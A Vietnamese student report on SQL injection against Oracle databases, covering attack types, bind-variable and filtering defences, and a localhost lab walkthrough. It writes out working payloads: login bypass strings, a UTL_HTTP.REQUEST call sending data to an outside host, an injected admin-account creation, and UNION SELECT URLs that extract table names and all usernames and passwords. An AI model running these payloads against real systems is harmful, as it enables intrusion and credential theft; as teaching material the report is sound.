Tải bản đầy đủ (.docx) (23 trang)

tấn công SQLinjection trong oracle

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (365.83 KB, 23 trang )

Tìm hiểu tấn công SQL Injection trong Oracle

HỌC VIỆN KỸ THUẬT MẬT MÃ
Khoa an toàn thông tin

ĐỀ TÀI:

SQL injection trong Oracle

Giảng viên hướng dẫn:

Trần Thị Lượng

Sinh viên thực hiện

Trần Trọng Kỳ

:

Đinh Thị Thủy Tiên
Đặng Trung Kiên

Lớp

:

AT9A

1



Tìm hiểu tấn công SQL Injection trong Oracle

----Hà Nội---

Mục lục

Chương I. Tổng Quan
I.1 SQL injection là gì?
SQL injection là một kỹ thuật cho phép những kẻ tấn công lợi dụng lỗ hổng của
việc kiểm tra dữ liệu đầu vào trong các ứng dụng web và các thông báo lỗi của hệ
quản trị cơ sở dữ liệu trả về để inject (tiêm vào) và thi hành các câu lệnh SQL bất
hợp pháp. SQL injection có thể cho phép những kẻ tấn công thực hiện các thao tác,
delete, insert, update,… trên cơ sở dữ liệu của ứng dụng, thậm chí là server mà ứng
dụng đó đang chạy, lỗi này thường xảy ra trên các ứng dụng web có dữ liệu được
quản lý bằng các hệ quản trị cơ sở dữ liệu như SQL Server, MySQL, Oracle, DB2,
Sysbase...
2


Tìm hiểu tấn công SQL Injection trong Oracle

I.2 Tấn công SQL Injection với Oracle so với các DBMS khác:
Việc tấn công SQL Injection đối với Oracle nhìn chung là khó khăn hơn đối với
các DBMS khác vì oracle hỗ trợ ít cú pháp hơn, không có cú pháp EXCUTE (của
SQL Server), không có chức năng INTO OUTFILE (của MySQL). Ngoài ra, sử
dụng các ràng buộc cho biến trong môi trường Oracle cũng giúp tốt hơn cho việc
bảo vệ khỏi các cuộc tấn công SQL Injection.
Oracle cung cấp các phương pháp bảo vệ mạnh mẽ để chống lại SQL Injection hơn
so với các DBMS khác, tuy nhiên, nếu các ứng dụng sử dụng Oracle không có các
biện pháp bảo vệ thì việc bị tấn công SQL Injection là điều có thể xảy ra, đặc biệt

là đối với các ứng dụng web.

Chương II. SQL Injection
II.1 Các loại tấn công SQL Injection đối với CSDL Oracle
Có bốn loại chính:
1. SQL Manipulation
2. Code Injection
3. Function Call Injection
4. Buffer Overflows
3


Tìm hiểu tấn công SQL Injection trong Oracle

Ở hai loại đầu tiên, SQL Manipulation và Code Injection là hai loại tấn công phổ
biến đối với hầu như tất cả các DBMS (bao gồm cả SQL Server, MySQL,
ProgressSQL, và Oracle).
SQL Manipulation là kiểu tấn công sửa đổi các câu lệnh SQL, thêm các mệnh đề
vào câu lệnh SQL để làm cho nó luôn đúng. Phổ biến nhất là sửa đổi mệnh đề
WHERE trong các phiên đăng nhập để bỏ qua việc xác thực người dùng.
Code Injection là khi kẻ tấn công chèn một câu lệnh SQL mới hoặc một câu lệnh
của DBMS vào trong một câu lệnh SQL khác. Điển hình là thêm một câu lệnh thực
thi SQL để làm cho câu lệnh đó bị lỗi. Code Injection chỉ hoạt động khi database
server đó hỗ trợ chạy nhiều câu lệnh SQL một lúc (SQL Server và PostgreSQL hỗ
trợ chức năng này, đôi khi có thể chạy nhiều lệnh với Oracle)
Function Call Injection là việc chèn các Function của Oracle và hoặc các fuction
tùy ý vào câu lệnh SQL dễ bị tổn thương. Các function được gọi có thể gọi các
chức năng của hệ thống hoặc thực hiện thao tác trên dữ liệu trong database
SQL injection of buffer overflows là một phần của Function Call Injection. Trong
một số CSDL thương mại và mã nguồn mở, các lỗ hổng tồn tại trong một số

function có thể gây ra lỗi tràn bộ đệm. Nếu CSDL chưa được cập nhật bản vá thì
rất có thể sẽ dính phải lỗi này.
II.2 Nguyên nhân
Tấn công SQL Injection chỉ do một lý do là do dữ liệu nhập vào của người dùng
cuối không được kiểm tra kĩ lưỡng trước khi đưa vào một câu truy vấn SQL hoặc
một stored procedure.
II.3 Giải pháp
Sử dụng bind-varible là một trong những biện pháp chống lại tấn công SQL
injection trong Oracle.
4


Tìm hiểu tấn công SQL Injection trong Oracle

Bind-variable: kỹ thuật viết mã không gán giá trị cố định, kỹ thuật này giúp tăng
tính sẵn sàng, hiệu năng và bảo mật cho hệ thống Oracle. Ví dụ:
Mã không dùng Bind-Variable
BEGIN
UPDATE employees SET SALARY=SALARY + 100 WHERE employee_id = 100;
END;

Mã dùng Bind-Variable
DECLARE
bind_var NUMBER := 100;
BEGIN
UPDATE employees SET SALARY=SALARY + 100 WHERE employee_id = bind_var;
END;

Chương III. Các phương thức tấn công
Như đã nói ở phần trên thì tấn công SQL injection bao gồm 4 loại phổ biến,

ở chương này sẽ đi sâu vào từng loại tấn công

III.1 SQL Maniputation
Đây là dạng tấn công phổ biến nhất của kĩ thuật tấn công SQL Injection. Kẻ tấn
công sẽ cố gắng để sửa đổi các câu lệnh SQL hiện có bằng cách thêm các điều kiện
5


Tìm hiểu tấn công SQL Injection trong Oracle

cho mệnh đề WHERE hoặc mở rộng câu lệnh bằng UNION, INTERSECT hoặc
MINUS.
SQL Maniputation chủ yếu được sử dụng để bỏ qua xác thực đăng nhập, ví dụ:
Câu lệnh truy vấn SQL:
SELECT * FROM users
WHERE username = 'bob' and PASSWORD = ' mypassword'

Kẻ tấn công sẽ làm câu truy vấn luôn đúng bằng cách như sau:
SELECT * FROM users
WHERE username = 'bob' and PASSWORD = ' mypassword' or 'a' = 'a'

Căn cứ vào thứ tự ưu tiên của hệ thống, mệnh đề WHERE luôn đúng vậy là hiển
nhiên kẻ tấn công sẽ đăng nhập vào được hệ thống mặc dù không biết password.
Một toán tử mà kẻ tấn công cũng rất hay sử dụng trong SQL maniputation là
UNION, nó có tác dụng nối các câu lệnh với nhau với mục đích lấy được các hàng
trong bảng hiện tại, ví dụ:
SELECT product_name FROM all_products
WHERE product_name like '%Chairs%'

Kẻ tấn công sẽ cố gắng sửa câu truy vấn SQL thành như sau để khai thác:

SELECT product_name FROM all_products
WHERE product_name like '%Chairs'
UNION
SELECT username FROM dba_users
WHERE username like '% '

6


Tìm hiểu tấn công SQL Injection trong Oracle

Kết quả trả về sẽ là danh sách các sản phẩm và kèm theo đó là một thông tin rất
nhạy cảm đó là danh sách các tài khoản trong bảng dba_users.

III.2 Code injection
Đây là kiểu tấn công thêm một câu truy vấn khác đằng sau câu truy vấn hiện có,
kiểu tấn công này thường gặp ở các DBMS của microsoft (SQL server), hiếm khi
thấy ở Oracle.
Trong PL/SQL và Java, Oracle không hỗ trợ nhiều câu truy vấn trong một request
đến database. Do đó, các cuộc tấn công dạng này hầu như không gặp ở CSDL
Oracle thông qua một PL/SQL hoặc một ứng dụng java. Các request chứa nhiều
câu lệnh sẽ bị trả về kết quả một thông báo lỗi.
Ví dụ:
SELECT * FROM users
WHERE username = 'bob' and PASSWORD = ' mypassword'; DELETE FROM users
WHERE username = 'admin';

PL/SQL và Java applications có thể truy xuất tự động các block PL/SQL, đây là
một điểm yếu dễ bị khai thác. Sau đây là ví dụ về một block PL/SQL thực hiện
trong một ứng dụng web:

BEGIN ENCRYPT_PASSWORD(' bob', ' mypassword'); END;

Ở ví dụ trên, block PL/SQL truy xuất một stored procedure để mã hóa mật khẩu
của người dùng. Kẻ tấn công sẽ lợi dụng điểm này để chèn vào một đoạn code như
sau:
BEGIN ENCRYPT_PASSWORD('bob', ' mypassword'); DELETE FROM users
WHERE upper(username) = upper('admin'); END;
7


Tìm hiểu tấn công SQL Injection trong Oracle

Như vậy, sau khi mã hóa mật khẩu, hệ thống lại tiếp tục thực hiện câu lệnh sau đó
là xóa user admin ở trong bảng users.

III.3 Function Call Injection
CSDL Oracle cho phép các function được thực thi như một phần của câu lệnh
SQL. Oracle cung cấp hơn 1000 function nằm trong 175 package tiêu chuẩn của
CSDL nhưng chỉ có một vài function là có thể sử dụng trong tấn công SQL
Injection . Bất cứ một function tùy chỉnh nào cũng có thể được thực thi như một
phần của câu lệnh SQL.
Một function thực thi trong câu lệnh SELECT sẽ không được phép thay đổi bất cứ
thứ gì trong database, trừ khi function đó được đánh dấu là “Fragma Transaction”.
Trong các gói tiêu chuẩn của Oracle thì không có một function nào được thực hiện
một autonomous transactions.
Function thực thi trong câu lệnh INSERT, UPDATE hoặc DELETE thì có thể sửa
đổi dữ liệu trong CSDL. Đối với các function tiêu chuẩn có sẵn trong Oracle, kẻ
tấn công có thể gửi dữ liệu đến một máy tính khác để đánh cắp thông tin.
Ngoài các function package tiêu chuẩn của Oracle, khi thêm các function package
tùy chỉnh thì có thể sẽ rất dễ có các function có chức năng thay đổi mật khẩu hoặc

thực hiện các transaction nhạy cảm khác.
Ngay cả các câu lệnh đơn giản nhất cũng có thể bị lợi dụng để khai thác thông tin,
sau đây là ví dụ minh họa:
SELECT TRANSLATE(' user input',
'0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ',
'0123456789')
8


Tìm hiểu tấn công SQL Injection trong Oracle
FROM dual;

Kẻ tấn công nhập vào một chuỗi dạng sau để sửa đổi nội dung câu lệnh
SELECT TRANSLATE(' ' || UTL_HTTP.REQUEST('http://192.168.1.1/') || '',
'0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ',
'0123456789')
FROM dual;

Câu lệnh này sẽ gửi một http request đến địa chỉ 192.168.1.1. Kẻ tấn công có thể
thay đổi một vài thông số để lấy các thông tin hữu ích rồi gửi đến theo địa chỉ
trong URL. TRANSLATE là một function tiêu chuẩn của Oracle, vậy nên nó
không thể sửa thông tin trong câu truy vấn SELECT.
Sau đây là ví dụ về việc sửa thông tin của database bằng cách sử dụng một
function tùy chỉnh. Chúng ta sử dụng function ADDUSER nằm trong function
package MYAPPADMIN và người phát triển đã đánh dấu function này là
“PRAGMA

TRANSACTION”.

Khi


được

đánh

dấu



“PRAGMA

TRANSACTION” thì nó có thể sửa CSDL ngay cả khi nằm trong câu truy vấn
SELECT:
SELECT TRANSLATE(' ' || myappadmin.adduser('admin', 'newpass') || '',
'0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ',
'0123456789')
FROM dual;

Thực thi câu lệnh trên, kẻ tấn công đã thêm được một tài khoản ‘admin’ với mật
khẩu là ‘newpass’ vào CSDL.

9


Tìm hiểu tấn công SQL Injection trong Oracle

III.4 Buffer Overflow
Lỗi tràn bộ đệm có thể khai thác thông qua các lỗi của các function có sẵn trong
các bản Oracle chưa được vá lỗi. Các function có thể gây ra lỗi tràn bộ đệm:
tz_offset, to_timestamp_tz, và bfilename. Khi xảy ra tràn bộ đệm, ứng dụng sẽ bị

treo cho đến khi client chấm dứt kết nối với CSDL

10


Tìm hiểu tấn công SQL Injection trong Oracle

Chương IV. Phòng chống SQL Injection
Các biện pháp an ninh trên bất cứ hệ thống thông tin nào đều được triển khai theo
nguyên tắc phòng thủ theo chiều sâu, do đó các biện pháp phòng chống SQL
Injection chúng ta cũng sẽ đề cập theo hướng mô hình này. Các nội dung được đề
cập sẽ bao gồm việc xây dựng các mã nguồn đảm bảo an toàn, cấu hình máy chủ
database, DBMS và các công cụ dạng tường lửa
IV.1 Phòng chống từ mức xây dựng mã nguồn ứng dụng
Có thể coi là công việc quan trọng đầu tiên cần xử lý trong chuỗi các thao tác. Có
hai mô hình có thể áp dụng cho việc lọc dữ liệu đầu vào đó là whitelist và blacklist.
a, Mô hình danh sách cho phép (whitelist)
Mô hình whitelist liệt kê danh sách những giá trị input nào được cho phép, chính vì
thế khi xây dựng ứng dụng người phát triển phải hiểu rõ được logic nghiệp vụ của
ứng dụng cần được xây dựng.
Phương pháp đơn giản nhất là xây dựng các mẫu (pattern) hợp lệ là sử dụng các
biểu thức chính quy (regular expression). Có một vài ví dụ về biểu thức chính quy
áp dụng cho username, email, sau đây:
- Username: Chỉ chứa các ký tự chữ cái, chữ số, dấu gạch dưới, độ dài tôi thiểu 4,
tối đa 50: ^([a-zA-Z0-9]|_){4,50}$
- Email: Chỉ chứa các ký tự chữ cái, chữ số, dấu gạch dưới, dấu chấm và ký tự @
sẽ có dạng như sau: ( |^)[a-zA-Z]+([a-zA-Z0-9]|_)*@([a-z0-9]+.){1,}[a-z]+( |$)
b, Mô hình danh sách cấm (Blacklist)
Mô hình này xây dựng nên các mẫu input được cho là nguy hiểm và sẽ không chấp
nhận những mẫu này. Mô hình blacklist sẽ kém hiệu quả hơn mô hình whitelist vì:

11


Tìm hiểu tấn công SQL Injection trong Oracle

- Số lượng input xấu rất lớn, không thể xét đủ được
- Khó cập nhật các mẫu này
Ưu điểm của blacklist so với whitelist là dễ xây dựng hơn. Thông thường mô hình
này không nên sử dụng một mình mà nên sử dụng với whitelist nếu có thể. Nếu sử
dụng blacklist thì nhất thiết cần phải mã hóa output để giảm thiểu nguy cơ rò rỉ
thông tin. Ví dụ về một mẫu lọc các ký tự nguy hiểm thường có trong SQL:
‘|%|--|;|?|/\*|\\\*|_|\[|@|xp_
IV.2 Các biện pháp bảo vệ từ mức nền tảng hệ thống
Các biện pháp bảo vệ từ mức nền tảng hệ thống là những biện pháp cải tiến trong
thời gian hoạt động hoặc các thay đổi cấu hình sao cho có thể nâng cao mức độ an
ninh tổng thể của ứng dụng
a, Các biện pháp bảo vệ tức thời
Những biện pháp bảo vệ tức thời là những biện pháp có thể áp dụng mà không cần
phải thực hiện lại việc biên dịch lại mã nguồn. Các biện pháp bảo vệ trong thời
gian hoạt động là các công cụ hữu ích nhằm phòng tránh việc lợi dụng các điểm
yếu SQL injection đã được xác định.
Ứng dụng tường lửa web là một ứng dụng được bố trí đóng vai trò trung gian giữa
client và web server, làm nhiệm vụ điều phối thông tin luân chuyển, cân bằng tải.
Một ứng dụng WAF sẽ được bố trí như sau:

12


Tìm hiểu tấn công SQL Injection trong Oracle


Hình 1: Vị trí của tường lửa web trong luồng thông tin

b, Các biện pháp bảo vệ Database:
Các biện pháp bảo vệ chính database nhằm đề phòng những trường hợp xấu, khi kẻ
tấn công đã khai thác được điểm yếu và từ đó có thể điểu khiển các hoạt động của
database nhằm ăn cắp dữ liệu hoặc làm bàn đạp để thâm nhập vào hệ thống bên
trong, đằng sau database.
- Giới hạn phạm vi ảnh hưởng của ứng dụng:
Các biện pháp này được đề phòng, chuẩn bị cho trường hợp xấu nhất là kẻ tấn
công có thể xâm nhập được vào database:
+ Cấp quyền ưu tiên tối thiểu cho tài khoản đăng nhập vào database
+ Hủy bỏ các quyền public: Các database thường cung cấp một số chế độ mặc định
cho tất cả các đăng nhập, chế độ này có một tập mặc định các quyền, bao gồm cả
việc truy cập tới một số đối tượng thuộc hệ thống. Các chế độ công khai này đôi

13


Tìm hiểu tấn công SQL Injection trong Oracle

khi cung cấp những quyền truy cập tới những stored-procedure có sẵn, một số các
package, hoặc các function có thể sử dụng cho mục đích quản trị.
+ Sử dụng các Stored-procedure: trong trường hợp này, các stored-procedure có
vai trò đóng gói các quyền ứng dụng cần vừa đủ để thực hiện công việc của mình.
+ Sử dụng các thuật toán mã hóa mạnh để mã hóa và lưu trữ các thông tin nhạy
cảm.

- Giới hạn phạm vi ảnh hưởng của ứng dụng:
+ Khóa các quyền truy cập tới các đối tượng có đặc quyền, ví dụ những tiện ích
quản trị, tiện ích thực thi gián tiếp các lệnh phía hệ điều hành, hoặc các tiện ích

sinh kết nối tới các đối tượng, database khác.
+ Hạn chế các truy vấn đặc biệt: câu lệnh OPENROWSET trong SQL server là
một ví dụ. Việc sử dụng câu lệnh này có thể giúp kẻ tấn công cướp quyền truy vấn
và thực hiện kết nối tới các database khác dưới chế độ xác thực lỏng lẻo hơn.
+ Luôn cập nhật các bản vá lỗi mới nhất của DBMS
Thực tế cho thấy không một hệ thống ứng dụng web nào được coi là an toàn tuyệt
đối. Các giải pháp an ninh hệ thống chỉ có thể hướng tới việc bảo vệ hệ thống một
cách tối đa và giảm thiểu các nguy cơ tấn công xuống mức tối thiểu. Một mô hình
an ninh nhiều mức là một sự lựa chọn sáng suốt cho vấn đề này. Vì thế nhà phát
triển cẩn phải biết cách chọn mô hình sao cho phù hợp với hoàn cảnh và điều kiện
của mình để đạt được hiệu suất tốt nhất.

14


Tìm hiểu tấn công SQL Injection trong Oracle

Chương V. Khai thác SQLinjection oracle
.

V.1: Khai thác thông qua lỗi đăng nhập
Truy cập địa chỉ trang web http://localhost:81/indext.php
ta có giao diện như hình sau :

Tiến hành thực hiện bypass login bằng câu truy vấn ở ô username

Password thì ta có thể điền bất kì kí tự gì thì thu được như hình

Như vậy ta đã đăng nhập thành công mà không cần có username và password của
tài khoản trên

15


Tìm hiểu tấn công SQL Injection trong Oracle

V.2. Khai thác lấy toàn bộ username password của database
 Sau khi ta đã đăng nhập được vào từ bước trước ta chuyển đến trang thông

tin cá nhân của Admin, ta có thể thấy việc tương tác với cơ sở dữ liệu thông
qua tham số id , thay đổi id=2,3,4… chúng ta có thể tìm thông tin của từng
user.

 Việc thông tin hiển thị trong cơ sở dữ liệu thường sẽ không cho hacker một

cách nhìn toàn diện, vì các thông số như password , username không hiển
thị.Do vậy , kiểm tra các input để tìm kiếm lỗi SQL Injection là cần thiết để
khai thác thông tin trên.
 Kiểm tra lỗi SQLinjection ở thông số id

16


Tìm hiểu tấn công SQL Injection trong Oracle

 Như vậy, khi sử dụng câu truy vấn :

Ta sẽ xem được liên tục các thông tin của user khác.
 Tiếp theo tìm số cột của bảng

Chúng ta sử dụng cậu lệnh order by giống MySQL để tìm kiếm số cột, vì

câu lệnh sắp xếp sẽ dựa vào số lượng của cột, nếu số cột nằm ngoài lượng có
thể sắp xếp sẽ sinh ra lỗi. Bắt đầu bằng từ 1 cho đến khi sinh ra lỗi.
Sử dụng câu truy vấn sau :
http://localhost:81/profile.php?id=1’ order by x-- -

17


Tìm hiểu tấn công SQL Injection trong Oracle

Ở cột thứ 7 sinh ra lỗi, tức là chỉ có 6 cột được tìm thấy
 Kiểm tra user được sử dụng hiện tại bằng câu truy vấn. Khi ta đã biết được

số cột trong cơ sở dữ liệu ta bắt đầu có thể tiến hành inject những câu truy
vấn trái phép để thăm dò các dữ liệu.
http:// localhost:81/profile.php?id=1' UNION SELECT NULL,NULL,NULL,NULL,NULL,user
FROM dual-- -

Như vậy quyền user mà ta đang kiểm tra ở đây là user SYSTEM

18


Tìm hiểu tấn công SQL Injection trong Oracle

 Tiếp theo ta tiến hành kiểm tra tên cơ sở dữ liệu được sử dụng trong đây là

gì bằng câu truy vấn :
http:// localhost:81/profile.php?id=1' UNION SELECT
NULL,NULL,NULL,NULL,NULL,sys.database_name FROM dual-- -


Như vậy ta đã thu được tên cơ sở dữ liệu trên là ORCL
19


Tìm hiểu tấn công SQL Injection trong Oracle
 Bước tiếp theo ta tiến hành kiểm tra toàn bộ số tables có trong cơ sở dữ liệu

ORCL bằng cách sử dụng câu truy vấn
http:// localhost:81/profile.php?id=1' UNION SELECT
NULL,NULL,NULL,NULL,NULL,table_name FROM all_tables-- Như vậy ta đã thu được tên các tables có trong cơ sở dữ liệu ,và tables được
ta quan tâm nhất ở đây là USERS

 Khi ta đã có toàn bộ số talbes trong cơ sở dữ liệu giờ ta tiến hành tìm kiếm

số column trong tables đó bằng câu truy vấn
http:// localhost:81/profile.php?id=1' UNION SELECT
NULL,NULL,NULL,NULL,NULL,column_name FROM all_tab_columns where
table_name='USERS'-- -

20


Tìm hiểu tấn công SQL Injection trong Oracle

 Bước cuối cùng khi ta đã có hết các tables và colums trong cơ sở dữ liệu ta

có thể tiến hành lấy hết các thông tin có chứa trong column trong tables của
cơ sở dữ liệu. Bằng cách sử dụng câu truy vấn
http://localhost:81/profile.php?id=1' UNION SELECT

NULL,NULL,NULL,NULL,username,password FROM USERS-- -

21


Tìm hiểu tấn công SQL Injection trong Oracle

Như vậy chúng ta đã có thể lấy toàn bộ thông tin về username và password
có trong cơ sở dữ liệu.

22


Tìm hiểu tấn công SQL Injection trong Oracle

Danh mục tài liệu:

23



×